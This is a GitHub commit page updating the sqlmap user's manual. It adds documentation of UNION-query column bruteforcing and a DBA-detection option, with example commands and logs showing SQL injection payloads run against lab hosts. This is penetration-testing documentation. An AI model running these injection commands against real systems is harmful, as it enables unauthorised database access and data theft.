Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 7adbf58

Browse files
bdamelebdamele
committed
Updated user's manual
1 parent c25b49e commit 7adbf58

3 files changed

Lines changed: 165 additions & 45 deletions

File tree

‎doc/README.html‎

Lines changed: 81 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -187,7 +187,7 @@ <H2><A NAME="ss1.3">1.3</A> <A HREF="#toc1.3">Techniques</A>
187187
vulnerability:</P>
188188
<P>
189189
<UL>
190-
<LI><B>Inferential Blind SQL injection</B>: sqlmap appends to the
190+
<LI><B>Inferential blind SQL injection</B>: sqlmap appends to the
191191
affected parameter in the HTTP request, a syntatically valid SQL statement
192192
string containing a <CODE>SELECT</CODE> sub-statement, or any other SQL
193193
statement whose the user want to retrieve the output.
@@ -1600,7 +1600,7 @@ <H3>Page comparison</H3>
16001600
<P>Options: <CODE>--string</CODE> and <CODE>--regexp</CODE></P>
16011601

16021602
<P>By default the distinction of a True query by a False one (basic concept
1603-
for Inferential Blind SQL injection attacks) is done comparing injected
1603+
for Inferential blind SQL injection attacks) is done comparing injected
16041604
requests page content MD5 hash with the original not injected page content
16051605
MD5 hash.
16061606
Not always this concept works because sometimes the page content changes at
@@ -1964,8 +1964,8 @@ <H3>Test for UNION query SQL injection</H3>
19641964

19651965
<P>Options: <CODE>--union-test</CODE> and <CODE>--union-tech</CODE></P>
19661966

1967-
<P>It is possible to test if the target URL is affected by an <B>inband
1968-
SQL injection</B> vulnerability.
1967+
<P>It is possible to test if the target URL is affected by a <B>UNION query
1968+
(inband) SQL injection</B> vulnerability.
19691969
Refer to the <EM>Techniques</EM> section for details on this SQL injection
19701970
technique.</P>
19711971

@@ -1979,38 +1979,46 @@ <H3>Test for UNION query SQL injection</H3>
19791979
[...]
19801980
back-end DBMS: Oracle
19811981

1982-
[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
1983-
[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
1982+
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
1983+
technique
1984+
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
19841985
valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
1985-
NULL, NULL, NULL FROM DUAL-- AND 5601=5601'
1986+
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
19861987
</PRE>
19871988
</CODE></BLOCKQUOTE>
19881989
</P>
19891990

1991+
<P>By default sqlmap uses the <B><CODE>NULL</CODE> bruteforcing</B> technique to
1992+
detect the number of columns within the original <CODE>SELECT</CODE> statement.
1993+
It is also possible to change it to <B><CODE>ORDER BY</CODE> clause
1994+
bruteforcing</B> with the <CODE>--union-tech</CODE> option.</P>
1995+
1996+
<P>Further details on these techniques can be found
1997+
<A HREF="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html">here</A>.</P>
1998+
19901999
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
19912000
<P>
19922001
<BLOCKQUOTE><CODE>
19932002
<PRE>
19942003
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
1995-
--union-test -v 1
2004+
--union-test --union-tech orderby -v 1
19962005

19972006
[...]
1998-
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
1999-
web application technology: PHP 5.2.6, Apache 2.2.9
20002007
back-end DBMS: PostgreSQL
20012008

2002-
[hh:mm:29] [INFO] testing inband sql injection on parameter 'id'
2003-
[hh:mm:29] [INFO] the target url could be affected by an inband sql injection vulnerability
2004-
valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT NULL,
2005-
NULL, NULL-- AND 'iBEMR'='iBEMR'
2009+
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
2010+
bruteforcing technique
2011+
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
2012+
valid union: 'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
2013+
1262=1262'
20062014
</PRE>
20072015
</CODE></BLOCKQUOTE>
20082016
</P>
20092017

20102018
<P>As you can see, the target URL parameter <CODE>id</CODE> might be also
2011-
affected by an inband SQL injection.
2012-
In case this vulnerability is exploitable it is strongly recommended to
2013-
use this technique which saves a lot of time.</P>
2019+
exploitable by the inband SQL injection technique.
2020+
In case a case it is strongly recommended to use this technique which saves
2021+
a lot of time.</P>
20142022

20152023
<P>It is strongly recommended to run at least once sqlmap with the
20162024
<CODE>--union-test</CODE> option to test if the affected parameter is used
@@ -2048,7 +2056,8 @@ <H3>Use the UNION query SQL injection</H3>
20482056
back-end DBMS: Microsoft SQL Server 2000
20492057

20502058
[hh:mm:42] [INFO] fetching banner
2051-
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
2059+
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
2060+
technique
20522061
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
20532062
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
20542063
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
@@ -2141,7 +2150,8 @@ <H3>Use the UNION query SQL injection</H3>
21412150
back-end DBMS: MySQL >= 5.0.0
21422151

21432152
[hh:mm:56] [INFO] fetching database names
2144-
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id'
2153+
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
2154+
technique
21452155
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
21462156
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
21472157
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
@@ -2622,6 +2632,54 @@ <H3>Current database</H3>
26222632
</P>
26232633

26242634

2635+
<H3>Detect if the DBMS current user is a database administrator</H3>
2636+
2637+
<P>Option: <CODE>--is-dba</CODE></P>
2638+
2639+
<P>It is possible to detect if the database management system session user is
2640+
a database administrator.</P>
2641+
2642+
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
2643+
<P>
2644+
<BLOCKQUOTE><CODE>
2645+
<PRE>
2646+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
2647+
2648+
[...]
2649+
back-end DBMS: PostgreSQL
2650+
2651+
[hh:mm:52] [INFO] testing if current user is DBA
2652+
[hh:mm:52] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
2653+
usename=CURRENT_USER OFFSET 0 LIMIT 1)=CHR(116)||CHR(114)||CHR(117)||CHR(101)) THEN 1
2654+
ELSE 0 END)
2655+
[hh:mm:52] [INFO] retrieved:
2656+
[hh:mm:52] [INFO] performed 6 queries in 0 seconds
2657+
current user is DBA: 'False'
2658+
</PRE>
2659+
</CODE></BLOCKQUOTE>
2660+
</P>
2661+
2662+
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
2663+
<P>
2664+
<BLOCKQUOTE><CODE>
2665+
<PRE>
2666+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1
2667+
2668+
[...]
2669+
back-end DBMS: Oracle
2670+
2671+
[16:40:57] [INFO] testing if current user is DBA
2672+
[16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
2673+
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
2674+
THEN 1 ELSE 0 END) FROM DUAL
2675+
[16:40:58] [INFO] retrieved: 1
2676+
[16:40:58] [INFO] performed 13 queries in 0 seconds
2677+
current user is DBA: 'True'
2678+
</PRE>
2679+
</CODE></BLOCKQUOTE>
2680+
</P>
2681+
2682+
26252683
<H3>Users</H3>
26262684

26272685
<P>Option: <CODE>--users</CODE></P>
@@ -3484,10 +3542,11 @@ <H3>Run your own SQL statement</H3>
34843542

34853543
[...]
34863544
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
3487-
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
3545+
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
3546+
technique
34883547
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
3489-
[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
3490-
[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
3548+
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
3549+
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
34913550
vulnerability
34923551
[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
34933552
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))

‎doc/README.pdf‎

3.47 KB
Binary file not shown.

‎doc/README.sgml‎

Lines changed: 84 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -144,7 +144,7 @@ sqlmap implements three techniques to exploit a SQL injection
144144
vulnerability:
145145

146146
<itemize>
147-
<item><bf>Inferential Blind SQL injection</bf>: sqlmap appends to the
147+
<item><bf>Inferential blind SQL injection</bf>: sqlmap appends to the
148148
affected parameter in the HTTP request, a syntatically valid SQL statement
149149
string containing a <tt>SELECT</tt> sub-statement, or any other SQL
150150
statement whose the user want to retrieve the output.
@@ -1539,7 +1539,7 @@ Options: <tt>--string</tt> and <tt>--regexp</tt>
15391539

15401540
<p>
15411541
By default the distinction of a True query by a False one (basic concept
1542-
for Inferential Blind SQL injection attacks) is done comparing injected
1542+
for Inferential blind SQL injection attacks) is done comparing injected
15431543
requests page content MD5 hash with the original not injected page content
15441544
MD5 hash.
15451545
Not always this concept works because sometimes the page content changes at
@@ -1897,8 +1897,8 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';
18971897
Options: <tt>--union-test</tt> and <tt>--union-tech</tt>
18981898

18991899
<p>
1900-
It is possible to test if the target URL is affected by an <bf>inband
1901-
SQL injection</bf> vulnerability.
1900+
It is possible to test if the target URL is affected by a <bf>UNION query
1901+
(inband) SQL injection</bf> vulnerability.
19021902
Refer to the <em>Techniques</em> section for details on this SQL injection
19031903
technique.
19041904

@@ -1912,35 +1912,45 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
19121912
[...]
19131913
back-end DBMS: Oracle
19141914

1915-
[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
1916-
[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
1915+
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
1916+
technique
1917+
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
19171918
valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
1918-
NULL, NULL, NULL FROM DUAL-- AND 5601=5601'
1919+
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
19191920
</verb></tscreen>
19201921

1922+
<p>
1923+
By default sqlmap uses the <bf><tt>NULL</tt> bruteforcing</bf> technique to
1924+
detect the number of columns within the original <tt>SELECT</tt> statement.
1925+
It is also possible to change it to <bf><tt>ORDER BY</tt> clause
1926+
bruteforcing</bf> with the <tt>--union-tech</tt> option.
1927+
1928+
<p>
1929+
Further details on these techniques can be found <htmlurl
1930+
url="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html" name="here">.
1931+
19211932
<p>
19221933
Example on a <bf>PostgreSQL 8.3.5</bf> target:
19231934

19241935
<tscreen><verb>
19251936
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
1926-
--union-test -v 1
1937+
--union-test --union-tech orderby -v 1
19271938

19281939
[...]
1929-
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
1930-
web application technology: PHP 5.2.6, Apache 2.2.9
19311940
back-end DBMS: PostgreSQL
19321941

1933-
[hh:mm:29] [INFO] testing inband sql injection on parameter 'id'
1934-
[hh:mm:29] [INFO] the target url could be affected by an inband sql injection vulnerability
1935-
valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT NULL,
1936-
NULL, NULL-- AND 'iBEMR'='iBEMR'
1942+
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
1943+
bruteforcing technique
1944+
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
1945+
valid union: 'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
1946+
1262=1262'
19371947
</verb></tscreen>
19381948

19391949
<p>
19401950
As you can see, the target URL parameter <tt>id</tt> might be also
1941-
affected by an inband SQL injection.
1942-
In case this vulnerability is exploitable it is strongly recommended to
1943-
use this technique which saves a lot of time.
1951+
exploitable by the inband SQL injection technique.
1952+
In case a case it is strongly recommended to use this technique which saves
1953+
a lot of time.
19441954

19451955
<p>
19461956
It is strongly recommended to run at least once sqlmap with the
@@ -1981,7 +1991,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1
19811991
back-end DBMS: Microsoft SQL Server 2000
19821992

19831993
[hh:mm:42] [INFO] fetching banner
1984-
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
1994+
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
1995+
technique
19851996
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
19861997
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
19871998
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
@@ -2073,7 +2084,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.ph
20732084
back-end DBMS: MySQL >= 5.0.0
20742085

20752086
[hh:mm:56] [INFO] fetching database names
2076-
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id'
2087+
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
2088+
technique
20772089
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
20782090
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
20792091
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
@@ -2123,6 +2135,8 @@ page content.
21232135

21242136
<sect2>Extensive database management system fingerprint
21252137

2138+
<!-- TODO: improve examples on basic DBMS fingerprint -->
2139+
21262140
<p>
21272141
Options: <tt>-f</tt> or <tt>--fingerprint</tt>
21282142

@@ -2535,6 +2549,52 @@ current database: 'master'
25352549
</verb></tscreen>
25362550

25372551

2552+
<sect2>Detect if the DBMS current user is a database administrator
2553+
2554+
<p>
2555+
Option: <tt>--is-dba</tt>
2556+
2557+
<p>
2558+
It is possible to detect if the database management system session user is
2559+
a database administrator.
2560+
2561+
<p>
2562+
Example on a <bf>PostgreSQL 8.3.5</bf> target:
2563+
2564+
<tscreen><verb>
2565+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
2566+
2567+
[...]
2568+
back-end DBMS: PostgreSQL
2569+
2570+
[hh:mm:52] [INFO] testing if current user is DBA
2571+
[hh:mm:52] [INFO] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
2572+
usename=CURRENT_USER OFFSET 0 LIMIT 1)=CHR(116)||CHR(114)||CHR(117)||CHR(101)) THEN 1
2573+
ELSE 0 END)
2574+
[hh:mm:52] [INFO] retrieved:
2575+
[hh:mm:52] [INFO] performed 6 queries in 0 seconds
2576+
current user is DBA: 'False'
2577+
</verb></tscreen>
2578+
2579+
<p>
2580+
Example on an <bf>Oracle XE 10.2.0.1</bf> target:
2581+
2582+
<tscreen><verb>
2583+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --is-dba -v 1
2584+
2585+
[...]
2586+
back-end DBMS: Oracle
2587+
2588+
[16:40:57] [INFO] testing if current user is DBA
2589+
[16:40:58] [INFO] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
2590+
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
2591+
THEN 1 ELSE 0 END) FROM DUAL
2592+
[16:40:58] [INFO] retrieved: 1
2593+
[16:40:58] [INFO] performed 13 queries in 0 seconds
2594+
current user is DBA: 'True'
2595+
</verb></tscreen>
2596+
2597+
25382598
<sect2>Users
25392599

25402600
<p>
@@ -3334,7 +3394,7 @@ as a users' database.
33343394

33353395
<sect2>Run your own SQL statement
33363396

3337-
<!-- TODO: improve -->
3397+
<!-- TODO: improve with example on INSERT/DROP/xp_cmdshell -->
33383398

33393399
<p>
33403400
Options: <tt>--sql-query</tt> and <tt>--sql-shell</tt>
@@ -3390,10 +3450,11 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql
33903450

33913451
[...]
33923452
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
3393-
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
3453+
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
3454+
technique
33943455
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
3395-
[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
3396-
[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
3456+
[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id'
3457+
[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection
33973458
vulnerability
33983459
[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
33993460
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))

0 commit comments

Comments
 (0)